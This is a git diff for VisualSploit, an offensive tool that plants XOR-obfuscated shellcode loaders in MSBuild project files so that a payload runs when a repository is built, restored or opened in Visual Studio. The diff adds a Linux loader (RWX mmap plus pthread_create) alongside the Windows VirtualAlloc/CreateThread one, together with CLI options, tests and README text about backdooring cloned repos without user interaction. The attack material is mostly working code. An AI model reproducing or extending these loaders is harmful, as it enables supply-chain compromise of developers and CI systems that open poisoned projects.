diff --git a/README.md b/README.md index 5f1b1f7..d24a35f 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![release](https://img.shields.io/github/v/release/Meltedd/VisualSploit)](https://github.com/Meltedd/VisualSploit/releases) [![license](https://img.shields.io/github/license/Meltedd/VisualSploit)](LICENSE) -Weaponizes MSBuild project files to run embedded shellcode. Given a `.csproj`, `.vbproj`, or `Directory.Build.props/targets` and a shellcode blob, VisualSploit injects a loader that fires whenever the project is built, restored, or opened in Visual Studio. Cloning a backdoored repo and opening it in Visual Studio is enough to run the payload without user interaction. +Weaponizes MSBuild project files to run embedded shellcode. Given a `.csproj`, `.vbproj`, or `Directory.Build.props/targets` and a shellcode blob, VisualSploit injects a loader that fires whenever the project is built, restored, or opened in Visual Studio. Cloning a backdoored repo and evaluating it with Visual Studio, `dotnet`, or CI can be enough to run the payload without user interaction. ![demo](demo.gif) @@ -31,33 +31,35 @@ VisualSploit writes a `` containing a shellcode loader, adds a ` [options] --o, --output Write to a different path (default: in place) --r, --rounds XOR rounds 1-5 (default 3) --s, --seed RNG seed for reproducible output --n, --dry-run Show injected XML without writing files --v, --verbose Log injection summary to stderr - --no-backup Skip .bak when writing over an existing file - --version Show version +-o, --output Output path (default: in-place) + --no-backup Skip .bak when writing over an existing file +-r, --rounds XOR rounds 1-5 (default: 3) +-s, --seed RNG seed for reproducibility + --platform + Target platform for emitted loader (default: Windows) +-n, --dry-run Show injected XML without writing files +-v, --verbose Log injection summary to stderr + --version Show version ``` Shellcode can be raw binary or hex (whitespace, commas, and `0x` prefixes are ignored). The target is modified in place unless `--output` is passed, leaving a `.bak` of the original alongside. @@ -74,13 +76,17 @@ visualsploit repo/Directory.Build.targets shellcode.bin -s 42 # Preview without writing visualsploit project.csproj shellcode.bin --dry-run + +# Emit a Linux loader +visualsploit project.csproj linux-x64-shellcode.bin --platform linux ``` ## Shellcode constraints -- Bitness must match the MSBuild host (Visual Studio and `dotnet build` are x64 by default). A mismatch crashes the thread and hangs the build. -- Must be position-independent. The loader spawns a thread at an address the system picks; on x64, `RCX` is zero on entry. -- The page is mapped `PAGE_EXECUTE_READWRITE`, so self-modifying stagers like reflective loaders or metasploit `migrate` run without extra protection flips. +- Shellcode must match the selected platform and the MSBuild host architecture. Visual Studio and `dotnet build` are x64 by default on most systems. +- Must be position-independent. The loader spawns a thread at an address the system picks. On x64, Windows thread entry uses the Windows x64 ABI (`RCX` for the argument); Linux uses the System V ABI (`RDI` for the argument). +- The page is mapped executable and writable (`PAGE_EXECUTE_READWRITE` on Windows, `PROT_READ|PROT_WRITE|PROT_EXEC` on Linux), so self-modifying stagers like reflective loaders or metasploit `migrate` run without extra protection flips. +- The Linux loader targets Linux x64 with modern glibc or musl. - Shellcode must terminate on its own (e.g. msfvenom's `EXITFUNC=thread`). The loader waits on the thread indefinitely and will hang the build otherwise. ## Build diff --git a/VisualSploit.Tests/LoaderTests.cs b/VisualSploit.Tests/LoaderTests.cs index c6d0e2d..5879bb7 100644 --- a/VisualSploit.Tests/LoaderTests.cs +++ b/VisualSploit.Tests/LoaderTests.cs @@ -16,42 +16,28 @@ public class LoaderTests .Select(p => (MetadataReference)MetadataReference.CreateFromFile(p)) .ToArray(); - static Config Cfg(int? seed) => + static Config Cfg(int? seed, TargetPlatform platform = TargetPlatform.Windows) => new(TargetPath: "/unused", ShellcodePath: "/unused", OutputPath: null, XorRounds: 3, Seed: seed, + Platform: platform, NoBackup: true, DryRun: false, Verbose: false); [Theory] - [InlineData(null)] - [InlineData(42)] - public void Generated_loader_parses_without_syntax_errors(int? seed) + [InlineData(null, nameof(TargetPlatform.Windows))] + [InlineData(42, nameof(TargetPlatform.Windows))] + [InlineData(null, nameof(TargetPlatform.Linux))] + [InlineData(42, nameof(TargetPlatform.Linux))] + public void Generated_loader_has_no_compile_diagnostics(int? seed, string platformName) { - var source = Source(seed); - + var platform = Enum.Parse(platformName); var ct = TestContext.Current.CancellationToken; + var source = Source(seed, platform); var tree = CSharpSyntaxTree.ParseText(source, cancellationToken: ct); - var errors = tree.GetDiagnostics(ct) - .Where(d => d.Severity == DiagnosticSeverity.Error) - .ToList(); - - Assert.True(errors.Count == 0, - $"Generated loader has {errors.Count} syntax error(s):\n" + - string.Join("\n", errors.Select(e => $" {e.Location.GetLineSpan().StartLinePosition}: {e.GetMessage()}")) + - "\n\nSource:\n" + source); - } - - [Theory] - [InlineData(null)] - [InlineData(42)] - public void Generated_loader_has_no_compile_diagnostics(int? seed) - { - var ct = TestContext.Current.CancellationToken; - var tree = CSharpSyntaxTree.ParseText(Source(seed), cancellationToken: ct); var compilation = CSharpCompilation.Create( assemblyName: "GeneratedLoader", @@ -65,16 +51,35 @@ public void Generated_loader_has_no_compile_diagnostics(int? seed) Assert.True(errors.Count == 0, $"Generated loader has {errors.Count} compile error(s):\n" + - string.Join("\n", errors.Select(e => $" {e.Location.GetLineSpan().StartLinePosition}: {e.GetMessage()}"))); + string.Join("\n", errors.Select(e => $" {e.Location.GetLineSpan().StartLinePosition}: {e.GetMessage()}")) + + "\n\nSource:\n" + source); } - [Theory] - [InlineData(null)] - [InlineData(42)] - public void Generated_DllImports_specify_EntryPoint(int? seed) + [Fact] + public void Generated_windows_loader_imports_expected_symbols() => + AssertImports(TargetPlatform.Windows, "kernel32", + ["VirtualAlloc", "CreateThread", "WaitForSingleObject"]); + + [Fact] + public void Generated_linux_loader_imports_expected_symbols() => + AssertImports(TargetPlatform.Linux, "libc", + ["mmap", "pthread_create", "pthread_join"]); + + [Fact] + public void Generated_linux_loader_uses_linux_mmap_constants() + { + var source = Source(seed: 42, TargetPlatform.Linux); + + Assert.Contains("(System.UIntPtr)(uint)", source); + Assert.Contains(", 7,", source); + Assert.Contains(", 7, 0x22, -1,", source); + Assert.Contains(", -1,", source); + } + + static void AssertImports(TargetPlatform platform, string library, string[] entryPoints) { var ct = TestContext.Current.CancellationToken; - var tree = CSharpSyntaxTree.ParseText(Source(seed), cancellationToken: ct); + var tree = CSharpSyntaxTree.ParseText(Source(seed: 42, platform), cancellationToken: ct); var imports = tree.GetRoot(ct) .DescendantNodes() @@ -82,18 +87,27 @@ public void Generated_DllImports_specify_EntryPoint(int? seed) .Where(a => a.Name.ToString().EndsWith("DllImport")) .ToList(); - Assert.NotEmpty(imports); + Assert.Equal(3, imports.Count); + + var seenEntryPoints = new List(); foreach (var attr in imports) { - var hasEntryPoint = attr.ArgumentList?.Arguments - .Any(a => a.NameEquals?.Name.Identifier.ValueText == "EntryPoint") == true; - Assert.True(hasEntryPoint, $"DllImport missing EntryPoint: {attr}"); + var args = attr.ArgumentList!.Arguments; + + var libArg = args[0]; + Assert.Equal(library, ((LiteralExpressionSyntax)libArg.Expression).Token.ValueText); + + var entryPointArg = args.Single(a => + a.NameEquals?.Name.Identifier.ValueText == "EntryPoint"); + seenEntryPoints.Add(((LiteralExpressionSyntax)entryPointArg.Expression).Token.ValueText); } + + Assert.Equal(entryPoints, seenEntryPoints); } - static string Source(int? seed) + static string Source(int? seed, TargetPlatform platform = TargetPlatform.Windows) { - var cfg = Cfg(seed); + var cfg = Cfg(seed, platform); var naming = new Naming(cfg.Seed); var inlineCode = Loader.Generate(Shellcode, cfg, naming); diff --git a/VisualSploit.Tests/MSBuildTests.cs b/VisualSploit.Tests/MSBuildTests.cs index a3a0425..058a841 100644 --- a/VisualSploit.Tests/MSBuildTests.cs +++ b/VisualSploit.Tests/MSBuildTests.cs @@ -25,6 +25,7 @@ Config Cfg(string targetPath, int? seed = 42, string? output = null, bool noBack OutputPath: output, XorRounds: 3, Seed: seed, + Platform: TargetPlatform.Windows, NoBackup: noBackup, DryRun: dryRun, Verbose: verbose); diff --git a/VisualSploit.Tests/ProgramTests.cs b/VisualSploit.Tests/ProgramTests.cs new file mode 100644 index 0000000..addde1d --- /dev/null +++ b/VisualSploit.Tests/ProgramTests.cs @@ -0,0 +1,68 @@ +using Xunit; + +namespace VisualSploit.Tests; + +public class ProgramTests : IDisposable +{ + readonly string _dir; + + public ProgramTests() + { + _dir = Path.Combine(Path.GetTempPath(), $"vs-cli-{Guid.NewGuid():N}"); + Directory.CreateDirectory(_dir); + } + + public void Dispose() + { + try { Directory.Delete(_dir, recursive: true); } + catch { } + } + + [Fact] + public void Output_uses_windows_loader_by_default() + { + var output = RunWithOutputFile(); + + Assert.Contains("kernel32", output); + Assert.Contains("VirtualAlloc", output); + Assert.Contains("CreateThread", output); + Assert.Contains("WaitForSingleObject", output); + Assert.DoesNotContain("pthread_create", output); + } + + [Fact] + public void Output_uses_linux_loader_when_platform_is_linux() + { + var output = RunWithOutputFile("--platform", "linux"); + + Assert.Contains("libc", output); + Assert.Contains("mmap", output); + Assert.Contains("pthread_create", output); + Assert.Contains("pthread_join", output); + Assert.Contains(", 7, 0x22, -1, System.IntPtr.Zero);", output); + Assert.DoesNotContain("kernel32", output); + } + + string RunWithOutputFile(params string[] extraArgs) + { + var target = Path.Combine(_dir, $"{Guid.NewGuid():N}.csproj"); + var shellcode = Path.Combine(_dir, $"{Guid.NewGuid():N}.bin"); + var output = Path.Combine(_dir, $"{Guid.NewGuid():N}.csproj"); + + File.WriteAllText(target, """ + + net10.0 + + """); + File.WriteAllBytes(shellcode, [0xC3]); + + var args = new List { target, shellcode, "--output", output, "-s", "42" }; + args.AddRange(extraArgs); + + var exitCode = Program.Main(args.ToArray()); + Assert.True(exitCode == 0, + $"Expected CLI to succeed. Exit code: {exitCode}. Args: {string.Join(" ", args)}. Output: {output}"); + + return File.ReadAllText(output); + } +} diff --git a/VisualSploit/Config.cs b/VisualSploit/Config.cs index b35ee18..a0bb38c 100644 --- a/VisualSploit/Config.cs +++ b/VisualSploit/Config.cs @@ -1,11 +1,18 @@ namespace VisualSploit; +internal enum TargetPlatform +{ + Windows, + Linux +} + internal record Config( string TargetPath, string ShellcodePath, string? OutputPath, int XorRounds, int? Seed, + TargetPlatform Platform, bool NoBackup, bool DryRun, bool Verbose) diff --git a/VisualSploit/Loader.cs b/VisualSploit/Loader.cs index 7580861..8c06df4 100644 --- a/VisualSploit/Loader.cs +++ b/VisualSploit/Loader.cs @@ -14,7 +14,14 @@ public static string Generate(byte[] shellcode, Config cfg, Naming naming) var (data, keys) = Xor.Encrypt(shellcode, cfg.XorRounds, cfg.Seed.HasValue ? naming.Rng : null); var decrypt = Indent(Xor.Routine(buf, data, keys), " "); - return $$""" + return cfg.Platform switch + { + TargetPlatform.Windows => Windows(), + TargetPlatform.Linux => Linux(), + _ => throw new ArgumentOutOfRangeException(nameof(cfg.Platform), cfg.Platform, null) + }; + + string Windows() => $$""" [System.Runtime.InteropServices.DllImport("kernel32", EntryPoint = "VirtualAlloc")] static extern System.IntPtr {{alloc}}(System.IntPtr a, uint s, uint t, uint p); @@ -34,6 +41,27 @@ public override bool Execute() return true; } """; + + string Linux() => $$""" + [System.Runtime.InteropServices.DllImport("libc", EntryPoint = "mmap")] + static extern System.IntPtr {{alloc}}(System.IntPtr a, System.UIntPtr l, int p, int f, int fd, System.IntPtr o); + + [System.Runtime.InteropServices.DllImport("libc", EntryPoint = "pthread_create")] + static extern int {{spawn}}(out System.IntPtr t, System.IntPtr a, System.IntPtr s, System.IntPtr p); + + [System.Runtime.InteropServices.DllImport("libc", EntryPoint = "pthread_join")] + static extern int {{wait}}(System.IntPtr t, System.IntPtr r); + + public override bool Execute() + { + {{decrypt}} + var {{page}} = {{alloc}}(System.IntPtr.Zero, (System.UIntPtr)(uint){{buf}}.Length, 7, 0x22, -1, System.IntPtr.Zero); + System.Runtime.InteropServices.Marshal.Copy({{buf}}, 0, {{page}}, {{buf}}.Length); + {{spawn}}(out var {{thread}}, System.IntPtr.Zero, {{page}}, System.IntPtr.Zero); + {{wait}}({{thread}}, System.IntPtr.Zero); + return true; + } + """; } static string Indent(string text, string indent) => diff --git a/VisualSploit/Program.cs b/VisualSploit/Program.cs index 82d39a0..561999f 100644 --- a/VisualSploit/Program.cs +++ b/VisualSploit/Program.cs @@ -4,7 +4,7 @@ namespace VisualSploit; class Program { - static int Main(string[] args) + internal static int Main(string[] args) { var targetArg = new Argument("target") { @@ -52,6 +52,13 @@ static int Main(string[] args) Description = "RNG seed for reproducibility" }; + var platformOption = new Option("--platform") + { + Description = "Target platform for emitted loader", + HelpName = "windows|linux", + DefaultValueFactory = _ => TargetPlatform.Windows + }; + var dryRunOption = new Option("--dry-run", "-n") { Description = "Show injected XML without writing files" @@ -70,6 +77,7 @@ static int Main(string[] args) noBackupOption, roundsOption, seedOption, + platformOption, dryRunOption, verboseOption }; @@ -82,6 +90,7 @@ Config BuildConfig(ParseResult ctx) var noBackup = ctx.GetValue(noBackupOption); var rounds = ctx.GetValue(roundsOption); var seed = ctx.GetValue(seedOption); + var platform = ctx.GetValue(platformOption); var dryRun = ctx.GetValue(dryRunOption); var verbose = ctx.GetValue(verboseOption); @@ -91,6 +100,7 @@ Config BuildConfig(ParseResult ctx) OutputPath: output?.FullName, XorRounds: rounds, Seed: seed, + Platform: platform, NoBackup: noBackup, DryRun: dryRun, Verbose: verbose); diff --git a/VisualSploit/VisualSploit.csproj b/VisualSploit/VisualSploit.csproj index 429c4ee..247c28e 100644 --- a/VisualSploit/VisualSploit.csproj +++ b/VisualSploit/VisualSploit.csproj @@ -6,7 +6,7 @@ enable VisualSploit visualsploit - 0.1.0 + 0.2.0